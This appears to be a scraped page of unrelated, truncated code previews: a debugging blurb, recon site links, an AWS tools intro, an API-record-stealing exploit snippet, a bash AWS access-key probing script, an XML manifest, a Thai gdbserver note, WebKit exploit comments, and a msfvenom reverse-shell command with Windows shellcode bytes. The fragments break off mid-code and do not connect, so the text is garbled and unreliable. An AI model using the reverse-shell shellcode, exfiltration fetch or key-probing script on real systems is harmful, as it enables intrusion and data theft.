Nbosa nbosa

Time Travel Debugging

Time Travel refers to the ability to record a tab and later replay it ([WebReplay][wrr]). The technology is useful for local development, where you might want to:

pause and step forwards or backwards
pause and rewind to a prior state
rewind to the time a console message was logged
rewind to the time an element had a certain style or layout
rewind to the time a network asset loaded

https://scans.io/
https://commoncrawl.org/
https://web.archive.org/ (For JS snippets this can be extremely handy. See killbox.sh below that was written for a HackerOne event.)
https://www.shodan.io/
https://opendata.rapid7.com/
https://www.virustotal.com/en/documentation/public-api/ (You can fetch previously-scanned URLs via the API.)
https://securitytrails.com/
https://threatcrowd.org/
https://dnsdumpster.com/
https://crt.sh/

Security Tools for AWS

I often get asked which tools are good to use for securing your AWS infrastructure so I figured I'd write a short listof some useful Security Tools for the AWS Cloud Infrastructure.

This list is not intended be something completely exhaustive, more so provide a good launching pad for someone as they dig into AWS and want to make it secure from the start.

Open Source

This section focuses on tools and services provided by the community and released as open-source.

	//Exploit Code by Shawar Khan

	var data_chunks = '';
	// Capturing Records from API
	fetch('https://redacted.com/api/v3/records/all').then((resp) => resp.text()).then(function(data) {

	// Holds the records in as String
	var allrecords = data;

	// converting response to JSON

	5 Abort
	9 Accept
	3 Acknowledge
	4 Activate
	48 Add
	23 Admin
	6 Allocate
	4 Apply
	2 Approve
	1 Archive

	#!/bin/bash

	# Written by Frans Rosén (twitter.com/fransrosen)
	_debug="$2" #turn on debug
	_timeout="20"
	#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key
	_aws_key="AKIA..."
	H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3"
	H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"

	<manifest schemaversion="4.1" binaryversion="8.00">
	<configuration>
	<options>
	<!-- Command-line only options -->
	<option switch="i" name="Install" argument="optional" noconfig="true" exclusive="true" />
	<option switch="c" name="Configuration" argument="optional" noconfig="true" exclusive="true" />
	<option switch="u" name="UnInstall" argument="none" noconfig="true" exclusive="true" />
	<option switch="m" name="Manifest" argument="none" noconfig="true" exclusive="true" />
	<option switch="t" name="DebugMode" argument="none" noconfig="true" />
	<option switch="s" name="PrintSchema" argument="optional" noconfig="true" exclusive="true" />

	Problem:

	จะเอา IDA Pro มา remote debug binary ใน linux container ขึ้นว่า

	root@c8a5bde5162d: ~# gdbserver 0.0.0.0:4444 ./main
	gdbserver: linux_ptrace_test_ret_to_nx: Cannot PTRACE_TRACEME: Operation not permitted
	gdbserver: linux_ptrace_test_ret_to_nx: status 256 is not WIFSTOPPED!

	Solution:

	// a bit more annotated stage2 (from fakeobj/addrof to rw)
	// source: https://github.com/phoenhex/files/blob/master/exploits/ios-11.3.1/pwn_i8.js

	// useful resources:
	// webkit sources, lol
	// http://phrack.org/papers/attacking_javascript_engines.html -- bit outdated -- info about spectre mitigations/gigacage is missing
	// https://labs.mwrinfosecurity.com/blog/some-brief-notes-on-webkit-heap-hardening/ -- tldr on gigacage

	// thx _niklasb

	# Capstone formatting, more accurate than pwntools's disasm()
	from capstone import *

	# msfvenom -p windows/shell_reverse_tcp LHOST=1.2.3.4 LPORT=1234 -f c > revshell.c
	# cat revshell.c \|tr -d '\n\"'
	CODE = '\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x01\x02\x03\x04\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x5